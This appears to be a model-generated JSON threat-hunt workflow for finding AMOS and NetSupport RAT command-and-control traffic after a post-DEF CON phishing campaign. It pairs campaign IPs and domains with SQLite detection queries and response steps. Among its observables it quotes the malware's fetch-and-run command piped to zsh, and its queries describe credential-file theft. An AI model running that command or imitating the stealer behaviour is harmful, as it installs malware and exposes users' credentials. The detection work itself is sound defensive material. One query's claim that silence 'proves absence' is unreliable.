{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "The campaign uses credible lures on trusted platforms like X and Google Docs. Identifying the C2 phase is the final opportunity to prevent full credential theft and exfiltration of private data by AMOS and NetSupport RAT." }, "name": "Malicious C2 Infrastructure Polling", "type": "investigation", "labels": [ "hunt", "attack.t1071.001", "attack.t1102" ], "series": { "slug": "post-def-con-phishing-uses-malicious-google-doc-to-deliver-malware", "index": 2, "title": "Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware", "total": 2 }, "related": [ { "hunt": "macos-amos-persistence-mechanisms", "reason": "This hunt focuses on network traffic; persistence via LaunchDaemons is handled in a companion host-based hunt.", "relation": "out-of-scope-alternative" }, { "hunt": "windows-netsupport-loader-execution", "reason": "Loader execution via ClickOnce and PowerShell is host-based and covered in a separate execution hunt.", "relation": "out-of-scope-alternative" }, { "hunt": "cross-platform-malware-execution-persistence", "relation": "follows" } ], "targets": { "web": { "name": "Web server / proxy logs", "category": "siem", "telemetry": [ "network" ] }, "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "network": { "name": "Network telemetry", "category": "network", "telemetry": [ "network" ] }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "This hunt correlates network signals with behavioral anomalies\u2014specifically processes in temp directories establishing outbound connections\u2014and unauthorized file access. This multi-surface approach identifies the intrusion even if the static infrastructure indicators have rotated, providing context a single detection rule cannot.", "coverage": [ { "stage": "command-and-control-network", "steps": [ "lead-dns-resolutions", "branch-network-connections", "branch-http-traffic", "branch-temp-process-network" ], "status": "covered" }, { "stage": "initial-access-social-media-phishing", "reason": "Initial access via social media DMs is handled in a separate phishing hunt.", "status": "out_of_scope" }, { "stage": "execution-user-driven-installers", "reason": "Installer execution behavior is covered in the host-execution hunt.", "status": "out_of_scope" }, { "stage": "malware-persistence-establishment", "reason": "The establishment of persistence mechanisms is out of scope for this network-focused hunt.", "status": "out_of_scope" }, { "stage": "credential-collection-and-staging", "steps": [ "branch-file-sensitive-access" ], "reason": "Unauthorized access to browser cookies and macOS Notes databases is monitored.", "status": "covered" } ], "scenario": { "stages": [ { "name": "Social Media Spearphishing", "slug": "initial-access-social-media-phishing", "tactic": "initial-access", "techniques": [ "T1566.003" ], "observables": [ "@HartmansDoeke", "CoinDesk VP lure", "Google Doc link", "Dropbox DocSend share" ] }, { "name": "User-Driven Payload Execution", "slug": "execution-user-driven-installers", "tactic": "execution", "techniques": [ "T1204.002", "T1059.004", "T1059.001" ], "observables": [ "DecryptPanel.html", "curl -fsSL https://apple-googleapi.com/i | zsh", "GAPIUpdate.dmg", "GapiUpdate.application", "https://gapidriver.com/installer/GapiUpdate.application", "sys.ps1" ] }, { "name": "Persistence and Payload Staging", "slug": "malware-persistence-establishment", "tactic": "persistence", "techniques": [ "T1543.001", "T1547.001" ], "observables": [ "/Library/LaunchDaemons/com.xdivcmp.plist", "%LOCALAPPDATA%\\Microsoft\\Windows\\UpdateCache", "~/.phost", "~/.bhost", "~/.botid", "DockerDesktopSvc.exe", "SteamClientHelperHost.exe", "TeraCopyMonMon.exe" ] }, { "name": "Data Collection and Staging", "slug": "credential-collection-and-staging", "tactic": "collection", "techniques": [ "T1005", "T1074.001", "T1539", "T1555" ], "observables": [ "Notes.app database access", "/tmp/lksopo", "browser cookies", "keychain data", "crypto wallets" ] }, { "name": "C2 Infrastructure Communication", "slug": "command-and-control-network", "tactic": "command-and-control", "techniques": [ "T1071.001", "T1102" ], "observables": [ "86.54.25.213", "192.253.248.181", "apple-googleapi.com", "gapidriver.com", "1foqo.lat", "2fksf.lat", "3pqow.lat", "res10.php", "res11.php", "Telegram API" ] } ], "summary": "A phishing campaign targeting industry conference attendees uses X direct messages to lure victims into opening malicious Google Docs and DocSend shares. These documents deploy AMOS on macOS via curl-pipe-zsh or disk images, and NetSupport RAT or PowerShell loaders on Windows via ClickOnce installers, ultimately establishing persistence through LaunchDaemons and staged binaries for data theft and C2 communication." }, "severity": "high", "rationale": "Focus on endpoints owned by high-visibility users or those who attended recent conferences. Narrow the lookback to the 14 days following Black Hat and DEF CON.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An intruder is communicating with AMOS or NetSupport RAT infrastructure through DNS lookups, direct socket connections, or specific HTTP paths, often utilizing processes running from temporary directories.", "parameters": { "c2_ips": { "from": { "ref": "https://www.huntress.com/blog/defcon-phishing-google-doc-malware", "kind": "article", "observed": "2026-08-19" }, "type": "list[ip]", "default": [ "86.54.25.213", "192.253.248.181" ], "description": "Hardcoded IP addresses used for exfiltration and script hosting." }, "c2_domains": { "from": { "ref": "https://www.huntress.com/blog/defcon-phishing-google-doc-malware", "kind": "article", "observed": "2026-08-19" }, "type": "list[domain]", "default": [ "apple-googleapi.com", "gapidriver.com", "1foqo.lat", "2fksf.lat", "3pqow.lat" ], "description": "C2 domains associated with payload delivery and bot communication." }, "lookback_days": { "from": { "ref": "User input", "kind": "manual", "observed": "2026-08-19" }, "type": "number", "default": "14", "description": "Days of history to examine." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://www.huntress.com/blog/defcon-phishing-google-doc-malware", "gates": [ "dry-run", "lint" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://www.huntress.com/blog/defcon-phishing-google-doc-malware", "name": "Huntress \u2014 Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware" } ], "blind_spots": [ { "id": "insufficient-telemetry-retention", "risk": "Short retention periods may miss the initial infection handshake, leaving only periodic polling visible.", "owner": "SOC Manager", "stage": "command-and-control-network", "question": "Did the initial beaconing happen before the current lookback window?", "requires": "30-day retention for DNS and proxy logs", "remediation": "Extend telemetry retention for network surfaces to 90 days." }, { "id": "encrypted-traffic-visibility", "risk": "Without decryption, only domain names are visible; specific malicious paths like /api/v1/ and /log cannot be confirmed.", "owner": "Network Engineering", "stage": "command-and-control-network", "question": "Were the specific malicious URI paths used in HTTPS traffic?", "requires": "SSL/TLS Inspection", "remediation": "Enable SSL inspection for traffic to non-categorized or newly registered domains." } ] }, "name": "Malicious C2 Infrastructure Polling", "description": "This hunt examines the network plane for signs of compromise following the August 2026 post-DEF CON phishing campaign. It targets specific C2 indicators including ephemeral .lat domains and hardcoded IP addresses used for payload delivery and data exfiltration. The hunt corroborates DNS resolutions with socket-level activity and inspects HTTP traffic for URI patterns used by AMOS loaders. Additionally, it identifies behavioral anomalies such as outbound connections from user-writable temporary directories and unauthorized access to macOS Notes and browser profile data, ensuring coverage even if infrastructure indicators rotate." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "post-def-con-phishing-uses-malicious-google-doc-to-deliver-malware", "index": 2, "title": "Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware", "total": 2 }, "coverage": [ { "stage": "command-and-control-network", "steps": [ "lead-dns-resolutions", "branch-network-connections", "branch-http-traffic", "branch-temp-process-network" ], "status": "covered" }, { "stage": "initial-access-social-media-phishing", "reason": "Initial access via social media DMs is handled in a separate phishing hunt.", "status": "out_of_scope" }, { "stage": "execution-user-driven-installers", "reason": "Installer execution behavior is covered in the host-execution hunt.", "status": "out_of_scope" }, { "stage": "malware-persistence-establishment", "reason": "The establishment of persistence mechanisms is out of scope for this network-focused hunt.", "status": "out_of_scope" }, { "stage": "credential-collection-and-staging", "steps": [ "branch-file-sensitive-access" ], "reason": "Unauthorized access to browser cookies and macOS Notes databases is monitored.", "status": "covered" } ], "rationale": "An intruder is communicating with AMOS or NetSupport RAT infrastructure through DNS lookups, direct socket connections, or specific HTTP paths, often utilizing processes running from temporary directories.", "blind_spots": [ { "id": "insufficient-telemetry-retention", "risk": "Short retention periods may miss the initial infection handshake, leaving only periodic polling visible.", "owner": "SOC Manager", "stage": "command-and-control-network", "question": "Did the initial beaconing happen before the current lookback window?", "requires": "30-day retention for DNS and proxy logs", "remediation": "Extend telemetry retention for network surfaces to 90 days." }, { "id": "encrypted-traffic-visibility", "risk": "Without decryption, only domain names are visible; specific malicious paths like /api/v1/ and /log cannot be confirmed.", "owner": "Network Engineering", "stage": "command-and-control-network", "question": "Were the specific malicious URI paths used in HTTPS traffic?", "requires": "SSL/TLS Inspection", "remediation": "Enable SSL inspection for traffic to non-categorized or newly registered domains." } ], "scoping_notes": "Focus on endpoints owned by high-visibility users or those who attended recent conferences. Narrow the lookback to the 14 days following Black Hat and DEF CON.", "beyond_detection": "This hunt correlates network signals with behavioral anomalies\u2014specifically processes in temp directories establishing outbound connections\u2014and unauthorized file access. This multi-surface approach identifies the intrusion even if the static infrastructure indicators have rotated, providing context a single detection rule cannot." } }, { "id": "lead-dns-resolutions", "type": "query", "label": "DNS resolutions for C2 domains", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT device_hostname, query_hostname, COUNT(*) as resolution_count, MIN(time) as first_seen FROM hb_dns_activity WHERE instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, query_hostname", "surface": "hb_dns_activity", "description": "Identify hosts that have resolved domains associated with the phishing campaign infrastructure.", "expected_signal": "Rows showing specific hosts resolving the .lat or apple-googleapi domains. Silence indicates no known campaign infrastructure was contacted via DNS." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "DNS resolutions for C2 domains", "reads": [ "device_hostname", "query_hostname", "time" ], "source": "hb_dns_activity", "target": "endpoint", "content": "SELECT device_hostname, query_hostname, COUNT(*) as resolution_count, MIN(time) as first_seen FROM hb_dns_activity WHERE instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, query_hostname", "silence": "not_evidence_of_absence", "expected": "Rows showing specific hosts resolving the .lat or apple-googleapi domains. Silence indicates no known campaign infrastructure was contacted via DNS.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "branch-network-connections", "type": "query", "label": "Direct connections to C2 IPs", "config": { "dsl": "sqlite", "role": "enrichment", "source": "network", "content": "SELECT device_hostname, dst_endpoint_ip, process_name, process_path, COUNT(*) as connection_count, MIN(time) as first_seen FROM hb_network_connection WHERE (instr(',' || '{{c2_ips}}' || ',', ',' || dst_endpoint_ip || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, dst_endpoint_ip, process_name, process_path", "surface": "hb_network_connection", "description": "Find established network connections to the hardcoded AMOS/NetSupport IP addresses.", "expected_signal": "Socket connections to identified AMOS/NetSupport IPs, revealing the owning process." }, "parents": [ { "id": "lead-dns-resolutions" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "Direct connections to C2 IPs", "reads": [ "device_hostname", "dst_endpoint_ip", "process_name", "process_path", "time" ], "source": "hb_network_connection", "target": "network", "content": "SELECT device_hostname, dst_endpoint_ip, process_name, process_path, COUNT(*) as connection_count, MIN(time) as first_seen FROM hb_network_connection WHERE (instr(',' || '{{c2_ips}}' || ',', ',' || dst_endpoint_ip || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, dst_endpoint_ip, process_name, process_path", "silence": "not_evidence_of_absence", "expected": "Socket connections to identified AMOS/NetSupport IPs, revealing the owning process.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "branch-http-traffic", "type": "query", "label": "HTTP requests to C2 indicators", "config": { "dsl": "sqlite", "role": "enrichment", "source": "web", "content": "SELECT device_hostname, url_hostname, url_path, user_agent, dst_endpoint_ip, time FROM hb_http_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(url_hostname) || ',') > 0 OR instr(',' || '{{c2_ips}}' || ',', ',' || dst_endpoint_ip || ',') > 0 OR (LOWER(url_path) LIKE '%/log' OR LOWER(url_path) LIKE '%/api/v1/%' OR LOWER(url_path) LIKE '%/core4' OR LOWER(url_path) LIKE '%res%.php')) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_http_activity", "description": "Examine HTTP traffic for malicious domains, IPs, or specific URI patterns associated with AMOS and NetSupport RAT.", "expected_signal": "HTTP traffic to campaign infrastructure or matching path patterns. Silence indicates no application-layer activity to these indicators was visible." }, "parents": [ { "id": "lead-dns-resolutions" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "HTTP requests to C2 indicators", "reads": [ "device_hostname", "url_hostname", "url_path", "user_agent", "dst_endpoint_ip", "time" ], "source": "hb_http_activity", "target": "web", "content": "SELECT device_hostname, url_hostname, url_path, user_agent, dst_endpoint_ip, time FROM hb_http_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(url_hostname) || ',') > 0 OR instr(',' || '{{c2_ips}}' || ',', ',' || dst_endpoint_ip || ',') > 0 OR (LOWER(url_path) LIKE '%/log' OR LOWER(url_path) LIKE '%/api/v1/%' OR LOWER(url_path) LIKE '%/core4' OR LOWER(url_path) LIKE '%res%.php')) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "HTTP traffic to campaign infrastructure or matching path patterns. Silence indicates no application-layer activity to these indicators was visible.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "branch-temp-process-network", "type": "query", "label": "Connections from temp directories", "config": { "dsl": "sqlite", "role": "baseline", "source": "network", "content": "SELECT device_hostname, process_name, process_path, dst_endpoint_ip, dst_endpoint_port, time FROM hb_network_connection WHERE (LOWER(process_path) LIKE '%/tmp/%' OR LOWER(process_path) LIKE '%\\temp\\%' OR LOWER(process_path) LIKE '%\\users\\public\\%') AND direction = 'outbound' AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_network_connection", "description": "Identify processes running from user-writable paths that are establishing outbound connections, a behavioral indicator of loaders.", "expected_signal": "A process in a temp directory communicating externally; a high-confidence behavioral lead for payload delivery." }, "parents": [ { "id": "lead-dns-resolutions" } ], "primitive_config": { "dsl": "sqlite", "role": "baseline", "label": "Connections from temp directories", "reads": [ "device_hostname", "process_name", "process_path", "dst_endpoint_ip", "dst_endpoint_port", "direction", "time" ], "source": "hb_network_connection", "target": "network", "content": "SELECT device_hostname, process_name, process_path, dst_endpoint_ip, dst_endpoint_port, time FROM hb_network_connection WHERE (LOWER(process_path) LIKE '%/tmp/%' OR LOWER(process_path) LIKE '%\\temp\\%' OR LOWER(process_path) LIKE '%\\users\\public\\%') AND direction = 'outbound' AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "A process in a temp directory communicating externally; a high-confidence behavioral lead for payload delivery.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "process_path" ], "rare_below": 3 }, "verified_at": "2026-09-20" } }, { "id": "branch-file-sensitive-access", "type": "query", "label": "Sensitive data access by non-standard processes", "config": { "dsl": "sqlite", "role": "enrichment", "source": "endpoint", "content": "SELECT device_hostname, process_name, file_path, activity_name, time FROM hb_file_activity WHERE (LOWER(file_path) LIKE '%notestore.sqlite%' OR LOWER(file_path) LIKE '%/cookies' OR LOWER(file_path) LIKE '%/login data') AND NOT (LOWER(process_name) LIKE '%/chrome%' OR LOWER(process_name) LIKE '%/safari%' OR LOWER(process_name) LIKE '%/notes%' OR LOWER(process_name) LIKE '%/mdnsresponder%') AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_file_activity", "description": "Detect AMOS stealer behavior where non-browser and non-notes processes access macOS Notes databases or browser profile files.", "expected_signal": "Access to sensitive credential or note files by unauthorized processes. Silence proves absence of this specific stealer behavior." }, "parents": [ { "id": "lead-dns-resolutions" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "Sensitive data access by non-standard processes", "reads": [ "device_hostname", "process_name", "file_path", "activity_name", "time" ], "source": "hb_file_activity", "target": "endpoint", "content": "SELECT device_hostname, process_name, file_path, activity_name, time FROM hb_file_activity WHERE (LOWER(file_path) LIKE '%notestore.sqlite%' OR LOWER(file_path) LIKE '%/cookies' OR LOWER(file_path) LIKE '%/login data') AND NOT (LOWER(process_name) LIKE '%/chrome%' OR LOWER(process_name) LIKE '%/safari%' OR LOWER(process_name) LIKE '%/notes%' OR LOWER(process_name) LIKE '%/mdnsresponder%') AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "evidence_of_absence", "expected": "Access to sensitive credential or note files by unauthorized processes. Silence proves absence of this specific stealer behavior.", "verified": "dry-run", "verified_at": "2026-09-20" } }, { "id": "triage-c2-activity", "type": "analytic", "label": "Weigh C2 and behavioral evidence", "config": { "cite": "required", "tools": [ "endpoint", "network", "web" ], "context": [ "lead-dns-resolutions", "branch-network-connections", "branch-http-traffic", "branch-temp-process-network", "branch-file-sensitive-access" ], "objective": "Analyze the network traffic, DNS resolutions, and sensitive file access to determine if any host has been successfully compromised by AMOS or NetSupport RAT.", "description": "Analyze the independent network and file signals to identify successfully compromised hosts.", "max_iterations": 4, "expected_signal": "A per-host verdict citing specific evidence of compromise.", "success_criteria": "A verdict of malicious | suspicious | benign per host, citing specific rows." }, "parents": [ { "id": "branch-network-connections", "kind": "merge" }, { "id": "branch-http-traffic", "kind": "merge" }, { "id": "branch-temp-process-network", "kind": "merge" }, { "id": "branch-file-sensitive-access", "kind": "merge" } ] }, { "id": "route-on-verdict", "type": "checkpoint", "label": "Route on verdict", "config": { "fuzzy": true, "judge": "hunter", "question": "The triage verdict is malicious for at least one host based on network or file access corroboration.", "condition": "The triage verdict is malicious for at least one host based on network or file access corroboration.", "blind_spot": "insufficient-telemetry-retention", "confidence": "high", "description": "Direct the hunt based on the agent's findings of malicious activity.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "triage-c2-activity" } ] }, { "id": "isolate-host", "type": "action", "label": "Isolate host", "config": { "target": "endpoint", "description": "Stop active data exfiltration and further malware interaction.", "instructions": "Isolate the compromised host and revoke any active user credentials.", "action_approval": "required" }, "parents": [ { "id": "route-on-verdict", "branch": "on_supports" } ] }, { "id": "analyst-review", "type": "task", "label": "Analyst review and logic tuning", "config": { "assignee": "analyst", "description": "Confirm the agent's findings and identify new indicators for detection.", "instructions": "Review the cited network and file access rows. Confirm if the access to browser cookies or Notes databases correlates with an outbound connection to an unknown IP. Document new domains in the threat intelligence feed." }, "parents": [ { "id": "route-on-verdict", "branch": "default" }, { "id": "route-on-verdict", "branch": "on_unavailable" }, { "id": "isolate-host" } ] }, { "id": "close-out", "type": "task", "label": "Close out hunt", "config": { "assignee": "analyst", "description": "Finalize the hunt and record findings for the period.", "instructions": "Record the hosts examined and the outcome. If no activity was found, log this as evidence of absence for the campaign indicators during the lookback period." }, "parents": [ { "id": "route-on-verdict", "branch": "on_refutes" }, { "id": "analyst-review" } ] } ] }